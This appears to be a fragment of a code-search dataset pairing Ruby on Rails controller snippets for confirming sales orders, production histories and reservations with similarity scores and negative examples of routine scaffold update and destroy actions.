"def update\n @arc = Arc.find(params[:id])\n\n respond_to do |format|\n if @arc.update_attributes(params[:arc])\n flash[:notice] = 'Arc was successfully updated.'\n format.html { redirect_to(@arc) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @arc.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @gene_ontology = GeneOntology.find(params[:id])\n\n respond_to do |format|\n if @gene_ontology.update_attributes(params[:gene_ontology])\n format.html { redirect_to(@gene_ontology, :notice => 'Gene ontology was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @gene_ontology.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @observation_home_element = ObservationHomeElement.find(params[:id])\n\n respond_to do |format|\n if @observation_home_element.update_attributes(params[:observation_home_element])\n format.html { redirect_to @observation_home_element, notice: 'Observation home element was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @observation_home_element.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @laptop_history.update(laptop_history_params)\n format.html { redirect_to @laptop_history, notice: 'Laptop history was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @laptop_history.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @universe = Universe.find(params[:id])\n\n respond_to do |format|\n if @universe.update_attributes(params[:universe])\n flash[:notice] = 'Universe was successfully updated.'\n format.html { redirect_to(@universe) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @universe.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @hot_water_distribution = HotWaterDistribution.find(params[:id])\n\n respond_to do |format|\n if @hot_water_distribution.update_attributes(params[:hot_water_distribution])\n format.html { redirect_to @hot_water_distribution, notice: 'Hot water distribution was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @hot_water_distribution.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @stable = Stable.find(params[:id])\n\n respond_to do |format|\n if @stable.update_attributes(params[:stable])\n format.html { redirect_to @stable, notice: 'Stable was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @hive_event = HiveEvent.find(params[:id])\n\n respond_to do |format|\n if @hive_event.update_attributes(params[:hive_event])\n format.html { redirect_to @hive_event, notice: 'Hive event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @hive_event.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @archetype = Archetype.find(params[:id])\n\n respond_to do |format|\n if @archetype.update_attributes(params[:archetype])\n format.html { redirect_to @archetype, notice: 'Archetype was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @archetype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @american_aircraft.update(american_aircraft_params)\n format.html { redirect_to @american_aircraft, notice: 'American aircraft was successfully updated.' }\n format.json { render :show, status: :ok, location: @american_aircraft }\n else\n format.html { render :edit }\n format.json { render json: @american_aircraft.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @agencium.update(agencium_params)\n format.html { redirect_to @agencium, notice: 'Agencium was successfully updated.' }\n format.json { render :show, status: :ok, location: @agencium }\n else\n format.html { render :edit }\n format.json { render json: @agencium.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @weekly_histogram.update(weekly_histogram_params)\n format.html { redirect_to @weekly_histogram, notice: 'Weekly histogram was successfully updated.' }\n format.json { render :show, status: :ok, location: @weekly_histogram }\n else\n format.html { render :edit }\n format.json { render json: @weekly_histogram.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @accessory_act = AccessoryAct.find(params[:id])\n\n respond_to do |format|\n if @accessory_act.update_attributes(params[:accessory_act])\n format.html { redirect_to @accessory_act, :notice => 'Accessory act was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @accessory_act.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\t\trespond_to do |format|\n\t\t\tif @ontology.update(ontology_params)\n\t\t\t\tformat.html { redirect_to @ontology, notice: 'Ontology was successfully updated.' }\n\t\t\t\tformat.json { head :no_content }\n\t\t\telse\n\t\t\t\tformat.html { render action: 'edit' }\n\t\t\t\tformat.json { render json: @ontology.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def new\n @aircraft_history = AircraftHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aircraft_history }\n end\n end",
"def update\n respond_to do |format|\n if @acticle.update(acticle_params)\n format.html { redirect_to @acticle, notice: 'Acticle was successfully updated.' }\n format.json { render :show, status: :ok, location: @acticle }\n else\n format.html { render :edit }\n format.json { render json: @acticle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @experience_history = ExperienceHistory.find(params[:id])\n\n respond_to do |format|\n if @experience_history.update_attributes(params[:experience_history])\n format.html { redirect_to @experience_history, notice: 'Experience history was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @experience_history.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end",
"def update\n @az_tariff = AzTariff.find(params[:id])\n\n respond_to do |format|\n if @az_tariff.update_attributes(params[:az_tariff])\n format.html { redirect_to(@az_tariff, :notice => 'AzTariff was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @az_tariff.errors, :status => :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6193407",
"0.5949652",
"0.5938229",
"0.5921804",
"0.5873809",
"0.5821155",
"0.5758614",
"0.57473296",
"0.57473296",
"0.57378584",
"0.5707945",
"0.5655108",
"0.5635162",
"0.5596993",
"0.5574498",
"0.5565909",
"0.5565576",
"0.55444473",
"0.55292416",
"0.5521721",
"0.551546",
"0.5509702",
"0.55056846",
"0.5484995",
"0.54823697",
"0.5481363",
"0.5472595",
"0.5468287",
"0.54550165",
"0.5446769",
"0.5436726",
"0.54364634",
"0.54260784",
"0.5424868",
"0.5415648",
"0.541174",
"0.5411082",
"0.5409466",
"0.5387356",
"0.5380674",
"0.53598624",
"0.53543353",
"0.53533214",
"0.53525156",
"0.53488016",
"0.53488016",
"0.53422487",
"0.5335545",
"0.5334383",
"0.5332965",
"0.53299487",
"0.53294533",
"0.5328532",
"0.5328089",
"0.5316626",
"0.5313003",
"0.53128123",
"0.531025",
"0.530797",
"0.5301938",
"0.5301712",
"0.52969986",
"0.52938426",
"0.5290662",
"0.528797",
"0.5270962",
"0.5269808",
"0.5267676",
"0.526575",
"0.52639264",
"0.5263683",
"0.52601415",
"0.5255877",
"0.5248069",
"0.5244554",
"0.5243106",
"0.52397585",
"0.52357876",
"0.5234016",
"0.52330416",
"0.52330416",
"0.52315575",
"0.52310944",
"0.5228804",
"0.5224313",
"0.5223699",
"0.5221393",
"0.5219652",
"0.52097636",
"0.5202194",
"0.5199072",
"0.5193258",
"0.5188255",
"0.5185358",
"0.5184457",
"0.5176605",
"0.517263",
"0.51717734",
"0.51707965",
"0.51704586"
] |
0.6375209
|
0
|
DELETE /aircraft_histories/1 DELETE /aircraft_histories/1.xml
|
def destroy
@aircraft_history = AircraftHistory.find(params[:id])
@aircraft_history.destroy
respond_to do |format|
format.html { redirect_to(aircraft_histories_url) }
format.xml { head :ok }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def destroy\n @accessory = Accessory.find(params[:id])\n @accessory.destroy\n\n respond_to do |format|\n format.html { redirect_to(accessories_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @vehicle_historic = VehicleHistoric.find(params[:id])\n @vehicle_historic.destroy\n\n respond_to do |format|\n format.html { redirect_to(vehicle_historics_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @history = History.find(params[:id])\n @history.destroy\n\n respond_to do |format|\n format.html { redirect_to(histories_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @airline = Airline.find(params[:id])\n @airline.destroy\n\n respond_to do |format|\n format.html { redirect_to(airlines_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @aircraft_model = AircraftModel.find(params[:id])\n @aircraft_model.destroy\n add_to_log(t('Aircraft model destroy log') + @aircraft_model.name,\"aircraft_models\",\"destroy\")\n\n respond_to do |format|\n format.html { redirect_to(aircraft_models_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @historial_odt = HistorialOdt.find(params[:id])\n @historial_odt.destroy\n\n respond_to do |format|\n format.html { redirect_to historial_odts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @orc_ata = OrcAta.find(params[:id])\n @orc_ata.destroy\n @ata =\n respond_to do |format|\n format.html { redirect_to( home_path ) }\n\n format.xml { head :ok }\n end\n end",
"def destroy\n @history.destroy\n\n respond_to do |format|\n format.html { redirect_to(histories_url, :notice => \"削除しました\") }\n format.xml { head :ok }\n end\n end",
"def destroy\n @machine_historic = MachineHistoric.find(params[:id])\n @machine_historic.destroy\n\n respond_to do |format|\n format.html { redirect_to(machine_historics_url) }\n format.xml { head :ok }\n end\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def destroy\n @historial = Historial.find(params[:id])\n @historial.destroy\n\n respond_to do |format|\n format.html { redirect_to historials_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @audit_log = AuditLog.find(params[:id])\n @audit_log.destroy\n\n respond_to do |format|\n format.html { redirect_to(audit_logs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @hpt_history = HptHistory.find(params[:id])\n @hpt_history.destroy\n\n respond_to do |format|\n format.html { redirect_to(hpt_histories_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @arc = Arc.find(params[:id])\n @arc.destroy\n\n respond_to do |format|\n format.html { redirect_to(arcs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @action_log = ActionLog.find(params[:id])\n @action_log.destroy\n\n respond_to do |format|\n format.html { redirect_to(action_logs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @archdiocese.destroy\n\n head :no_content\n end",
"def destroy\n @thermostat_history.destroy\n respond_to do |format|\n format.html { redirect_to thermostat_histories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @helibasis = Helibase.find(params[:id])\n @helibasis.destroy\n\n respond_to do |format|\n format.html { redirect_to(helibases_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @asset_allocation_history = AssetAllocationHistory.find(params[:id])\n @asset_allocation_history.destroy\n\n respond_to do |format|\n format.html { redirect_to asset_allocation_histories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cattle_id = CattleId.find(params[:id])\n @cattle_id.destroy\n\n respond_to do |format|\n format.html { redirect_to(cattle_ids_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @hikiyama = Hikiyama.find(params[:id])\n @hikiyama.destroy\n\n respond_to do |format|\n format.html { redirect_to(@omatsuri) }\n format.xml { head :ok }\n end\n end",
"def delete_analysis(analysis_id); rest_delete(\"#{link('analyses')}/#{analysis_id}\"); nil; end",
"def destroy\n @az_tariff = AzTariff.find(params[:id])\n @az_tariff.destroy\n\n respond_to do |format|\n format.html { redirect_to(az_tariffs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @installation = Installation.find(params[:installation_id]) \n @eat = Eat.find(params[:id])\n @eat.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.xml { head :ok }\n end\n end",
"def destroy\n Audit.find(params[:id]).destroy\n head :no_content\n end",
"def destroy\n \n @ontology = SYMPH::Ontology.find(params[:id])\n @ontology.disable\n @ontology.destroy\n \n respond_to do |format|\n format.html { redirect_to :action => :index }\n format.xml { head :ok }\n end\n end",
"def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end",
"def destroy\n @chamado = Chamado.find(params[:id])\n @chamado.destroy\n\n #Deleta o historico\n @audits = Audit.find_all_by_idchamado(params[:id])\n\n @audits.each do |a|\n a.destroy\n end\n\n respond_to do |format|\n format.html { redirect_to chamados_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @datashows = Datashow.find(params[:id])\n @datashows.destroy\n\n respond_to do |format|\n format.html { redirect_to(datashows_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @illness_history = current_user.illness_histories.find(params[:id])\n @illness_history.destroy\n\n respond_to do |format|\n format.html { redirect_to(illness_histories_path) }\n end\n end",
"def destroy\n @activity_inventory = ActivityInventory.find(params[:id])\n @activity_inventory.destroy\n\n respond_to do |format|\n format.html { redirect_to(activity_inventories_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @history_log = HistoryLog.find(params[:id])\n @history_log.destroy\n\n respond_to do |format|\n format.html { redirect_to(history_logs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @dairy = Dairy.find(params[:id])\n @dairy.destroy\n\n respond_to do |format|\n format.html { redirect_to(dairies_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @relatestagiario = Relatestagiario.find(params[:id])\n @relatestagiario.destroy\n\n respond_to do |format|\n format.html { redirect_to(relatestagiarios_url) }\n format.xml { head :ok }\n end\n end",
"def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end",
"def destroy\n @unified_history.destroy\n respond_to do |format|\n format.html { redirect_to unified_histories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ambit = Ambit.find(params[:id])\n @ambit.destroy\n\n respond_to do |format|\n format.html { redirect_to(ambits_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @gene_ontology = GeneOntology.find(params[:id])\n @gene_ontology.destroy\n\n respond_to do |format|\n format.html { redirect_to(gene_ontologies_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @vehicle_daily = VehicleDaily.find(params[:id])\n @vehicle_daily.destroy\n\n respond_to do |format|\n format.html { redirect_to(vehicle_dailies_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n expire_page :action => :index\n expire_page :action => :show\n \n @ganglia_graph = GangliaGraph.get(params[:id])\n @ganglia_graph.destroy\n\n respond_to do |format|\n format.html { redirect_to(ganglia_graphs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @accessory = Accessory.find(params[:id])\n @accessory.destroy\n\n head :no_content\n end",
"def destroy\n @inventory = Inventory.find(params[:id])\n @inventory.destroy\n\n respond_to do |format|\n format.html { redirect_to(inventories_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @path = Path.find(params[:id])\n @path.destroy\n\n respond_to do |format|\n format.html { redirect_to(layer_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @habitat = Habitat.find(params[:id])\n @habitat.destroy\n\n respond_to do |format|\n format.html { redirect_to city_habitats_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @alfresco = Alfresco.find(params[:id])\n @alfresco.destroy\n\n respond_to do |format|\n format.html { redirect_to(alfrescos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @operation_history = OperationHistory.find(params[:id])\n @operation_history.destroy\n\n respond_to do |format|\n format.html { redirect_to operation_histories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ambito = Ambito.find(params[:id])\n @ambito.destroy\n\n respond_to do |format|\n format.html { redirect_to(ambitos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @archiv = Archiv.find(params[:id])\n @archiv.destroy\n\n respond_to do |format|\n format.html { redirect_to archivs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @historic.destroy\n respond_to do |format|\n format.html { redirect_to historics_url, notice: 'Historic was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cocktail_history = CocktailHistory.find(params[:id])\n @cocktail_history.destroy\n\n respond_to do |format|\n format.html { redirect_to cocktail_histories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @army_list = ArmyList.find(params[:id])\n @army_list.destroy\n\n respond_to do |format|\n format.html { redirect_to :controller => :builder }\n format.xml { head :ok }\n end\n end",
"def destroy\n @lineaedesal = Lineaedesal.find(params[:id])\n @lineaedesal.destroy\n\n respond_to do |format|\n format.html { redirect_to(lineaedesals_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @aisle = Aisle.find(params[:id])\n @aisle.destroy\n\n respond_to do |format|\n format.html { redirect_to(aisles_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @flat_happening = FlatHappening.find(params[:id])\n @flat_happening.destroy\n\n head :no_content\n end",
"def destroy\n @shelf = Shelf.find(params[:id])\n @shelf.destroy\n\n respond_to do |format|\n format.html { redirect_to(shelves_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @histroal.destroy\n respond_to do |format|\n format.html { redirect_to historials_url, notice: 'Historial was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item_history.destroy\n respond_to do |format|\n format.html { redirect_to bmet_item_histories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @settlement_history = Settlement::History.find(params[:id])\n @settlement_history.destroy\n\n respond_to do |format|\n format.html { redirect_to settlement_histories_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @ocat = Ocat.find(params[:id])\n @ocat.destroy\n\n respond_to do |format|\n format.html { redirect_to ocats_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @arrendimientospago = Arrendimientospago.find(params[:id])\n @arrendimientospago.destroy\n\n respond_to do |format|\n format.html { redirect_to(arrendimientospagos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @water_history.destroy\n respond_to do |format|\n format.html { redirect_to water_histories_url, notice: 'Water history was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @metabolite = Metabolite.find(params[:id])\n @metabolite.destroy\n\n respond_to do |format|\n format.html { redirect_to(metabolites_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @hazard = Hazard.find(params[:id])\n @hazard.destroy\n\n respond_to do |format|\n format.html { redirect_to(hazards_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @erratum = Erratum.find(params[:id])\n @erratum.destroy\n\n respond_to do |format|\n format.html { redirect_to(errata_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @historical = Historical.find(params[:id])\n @historical.destroy\n\n respond_to do |format|\n format.html { redirect_to historicals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @actattribute = Actattribute.find(params[:id])\n @actattribute.destroy\n\n respond_to do |format|\n format.html { redirect_to(actattributes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @aplicacion = Aplicacion.find(params[:id])\n @aplicacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(aplicacions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @air_quality.destroy\n\n head :no_content\n end",
"def destroy\n @accessory = Accessory.find(params[:id])\n @accessory.destroy\n if options = Option.find_all_by_accessory_id(params[:id])\n options.each do |option|\n option.destroy\n end\n end\n respond_to do |format|\n format.html { redirect_to(accessories_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @apology.destroy\n respond_to do |format|\n format.html { redirect_to apologies_url, notice: 'Apology was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @economic = Economic.find(params[:id])\n @economic.destroy\n\n respond_to do |format|\n format.html { redirect_to(economics_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @reservation = Reservation.find(params[:id])\n xml=@reservation.to_xml\n json=@reservation.to_json\n @reservation.make_historical\n\n respond_to do |format|\n format.html { redirect_to(reservations_url) }\n format.json { render :json => json}\n format.xml { render :xml => xml}\n end\n end",
"def destroy\n @accessory.destroy\n redirect_to accessories_url, notice: 'Accessory was successfully destroyed.'\n end",
"def destroy\n @boat_storage_equipment = BoatStorageEquipment.find(params[:id])\n @boat_storage_equipment.destroy\n\n respond_to do |format|\n format.html { redirect_to(boat_storage_equipments_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @heat_log = HeatLog.find(params[:id])\n @heat_log.destroy\n\n respond_to do |format|\n format.html { redirect_to heat_logs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asthenium.destroy\n respond_to do |format|\n format.html { redirect_to asthenia_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @history.destroy\n respond_to do |format|\n format.html { redirect_to histories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @traffic = Traffic.find(params[:id])\n @traffic.destroy\n\n respond_to do |format|\n format.html { redirect_to(traffics_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @hr = Hr.find(params[:id])\n @hr.destroy\n\n respond_to do |format|\n format.html { redirect_to(hrs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @astronomium.destroy\n respond_to do |format|\n format.html { redirect_to astronomia_url, notice: 'Astronomium was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @maintenance_history.destroy\r\n respond_to do |format|\r\n format.html { redirect_to car_maintenance_histories_url(@car_selected), notice: 'El mantenimiento fue eliminado.' }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @inventario = Inventario.find(params[:id])\n @inventario.destroy\n\n respond_to do |format|\n format.html { redirect_to(inventarios_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @accessory.destroy\n respond_to do |format|\n format.html { redirect_to accessories_url, notice: 'Accessory was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @helocagree = Helocagree.find(params[:id])\n @helocagree.destroy\n\n respond_to do |format|\n format.html { redirect_to(helocagrees_url) }\n format.xml { head :ok }\n end\n end",
"def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"def destroy\n @historial.destroy\n respond_to do |format|\n format.html { redirect_to historials_url, notice: 'Historial was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @aquarium = Aquarium.find(params[:id])\n @aquarium.destroy\n\n respond_to do |format|\n format.html { redirect_to aquaria_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @chair = Chair.find(params[:id])\n @chair.destroy\n\n respond_to do |format|\n format.html { redirect_to chairs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @chair = Chair.find(params[:id])\n @chair.destroy\n\n respond_to do |format|\n format.html { redirect_to chairs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @hotel = Hotel.find(params[:id])\n @hotel.destroy\n\n respond_to do |format|\n format.html { redirect_to(hotels_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @hotel = Hotel.find(params[:id])\n @hotel.destroy\n\n respond_to do |format|\n format.html { redirect_to(hotels_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @rehab = Rehab.find(params[:id])\n @rehab.destroy\n\n respond_to do |format|\n format.html { redirect_to(rehabs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n IndicatorCategory.delete_hack(params[:id])\n\n respond_to do |format|\n format.html { redirect_to indicator_categories_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @attdatum.destroy\n respond_to do |format|\n format.html { redirect_to attdata_url, notice: 'Attdatum was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @haiku = Haiku.find(params[:id])\n @haiku.destroy\n\n respond_to { |format|\n format.html {\n\tredirect_to haikus_url\n }\n format.xml {\n\thead :ok\n }\n }\n end",
"def destroy\n @almacen = Almacen.find(params[:id])\n @almacen.destroy\n \n respond_to do |format|\n format.html { redirect_to(almacenes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @article = Article.find_by_sysname(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to(articles_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @laptop_history.destroy\n respond_to do |format|\n format.html { redirect_to laptop_histories_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.6688579",
"0.65868336",
"0.6505595",
"0.6488745",
"0.6483323",
"0.6396523",
"0.6394068",
"0.63887805",
"0.63262826",
"0.6304719",
"0.6303515",
"0.62910354",
"0.6268343",
"0.6266102",
"0.62575483",
"0.62019557",
"0.6197609",
"0.6196667",
"0.618626",
"0.61861223",
"0.61829084",
"0.6180513",
"0.61786205",
"0.6158022",
"0.6153075",
"0.61518836",
"0.613492",
"0.6127636",
"0.6123585",
"0.612206",
"0.6113763",
"0.61129874",
"0.6108561",
"0.61015517",
"0.60834527",
"0.6083362",
"0.60781586",
"0.60776675",
"0.6076265",
"0.6072674",
"0.6064128",
"0.6062137",
"0.6059245",
"0.6052059",
"0.60474765",
"0.6038751",
"0.60351276",
"0.60346985",
"0.6033422",
"0.6028031",
"0.6025486",
"0.6022493",
"0.6021139",
"0.60179144",
"0.60104126",
"0.60096496",
"0.6009294",
"0.6002705",
"0.6002516",
"0.60024",
"0.60018426",
"0.6001301",
"0.5998043",
"0.5994956",
"0.5994797",
"0.59901404",
"0.598296",
"0.5982809",
"0.59786433",
"0.59701604",
"0.5969405",
"0.5967725",
"0.59655064",
"0.59647286",
"0.5961454",
"0.595896",
"0.59584725",
"0.59567714",
"0.595369",
"0.5952921",
"0.59472597",
"0.59469014",
"0.59461296",
"0.5946117",
"0.59424263",
"0.5941953",
"0.593981",
"0.5938738",
"0.5938054",
"0.5932029",
"0.5932029",
"0.5929845",
"0.5929845",
"0.5929523",
"0.59282446",
"0.5927798",
"0.59260666",
"0.5925503",
"0.592538",
"0.59241396"
] |
0.7139268
|
0
|
=begin CONFIRM SALES RELATED =end
|
def confirm_post_production_history
@post_production_history = PostProductionHistory.find_by_id params[:post_production_history_id]
# add some defensive programming.. current user has role admin, and current_user is indeed belongs to the company
@post_production_history.confirm( current_user )
@object = @post_production_history
@parent = @object.sales_item
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def confirm_sales_order\n @sales_order = SalesOrder.find_by_id params[:sales_order_id]\n # add some defensive programming.. current user has role admin, and current_user is indeed belongs to the company \n @sales_order.confirm( current_user ) \n end",
"def sell_confirmed\n end",
"def confirm_order\n end",
"def confirm_object(confirmation_datetime)\n return self if not self.confirmable?\n \n self.is_confirmed = true \n self.confirmed_at = confirmation_datetime\n self.save \n \n self.post_confirm_update_stock_mutation\n # self.post_confirm_update_price_mutation \n \n # po_detail =self.purchase_order_detail\n # po_detail.pending_receival -= self.quantity \n po_detail = self.purchase_order_detail \n po_detail.execute_receival( self.quantity ) \n end",
"def resend_confirmation_instructions; end",
"def redsys_confirm\n logger.info \"==== REDSYS#CONFIRM ==== order##{params[:order_id]} params# #{params.inspect}\"\n @order ||= Spree::Order.find_by_number!(params[:order_id])\n if check_signature\n unless @order.payments.any?(&:completed?)\n payment_upgrade\n @order.updater.update_payment_total\n end\n @order.next\n if @order.completed?\n flash.notice = Spree.t(:order_processed_successfully)\n flash[:order_completed] = true\n session[:order_id] = nil\n redirect_to completion_route(@order)\n else\n flash[:error] = @order.errors.full_messages.join(\"\\n\")\n redirect_to checkout_state_path(@order.state) and return\n end\n else\n flash[:alert] = Spree.t(:spree_gateway_error_flash_for_checkout)\n redirect_to checkout_state_path(@order.state)\n end\n end",
"def food_partner_confirmation_notice(enquiry)\n @enquiry = enquiry\n @food_partner = @enquiry.food_partner\n @customer = @enquiry.customer\n mail(subject: \"[team] #{@food_partner.company_name} confirmed order #{@enquiry.id}\")\n end",
"def transaction_fee_invoice\n NotificationsMailer.with(sports_centre: SportsCentre.first, amountPaid: 32.00, poliId: \"345678976543\").transaction_fee_invoice\n end",
"def rental_confirmation(user)\n @user = user\n \n mail to: @user.email_address, subject: \"Rental confirmation\"\n end",
"def reservation_confirmation(res_id, total_price)\n @total_price = total_price\n @reservation = Reservation.find(res_id)\n # @reservation[:check_in_date] = unsanitize_date @reservation[:check_in_date].to_s\n # @reservation[:check_out_date] = unsanitize_date @reservation[:check_out_date].to_s\n @kennel = Kennel.find(@reservation[:kennel_id])\n @hours_of_operation = HoursOfOperation.where(kennel_id: @kennel[:id]).first\n mail(to: @reservation[:customer_email], subject: 'PawBookings Reservation Receipt', bcc: [\"pawbookings@gmail.com\"])\n end",
"def confirm_pre_production_result\n @pre_production_result = PreProductionResult.find_by_id params[:pre_production_result_id]\n # add some defensive programming.. current user has role admin, and current_user is indeed belongs to the company \n @pre_production_result.confirm( current_user ) \n @object = @pre_production_result\n @parent = @object.template_sales_item \n end",
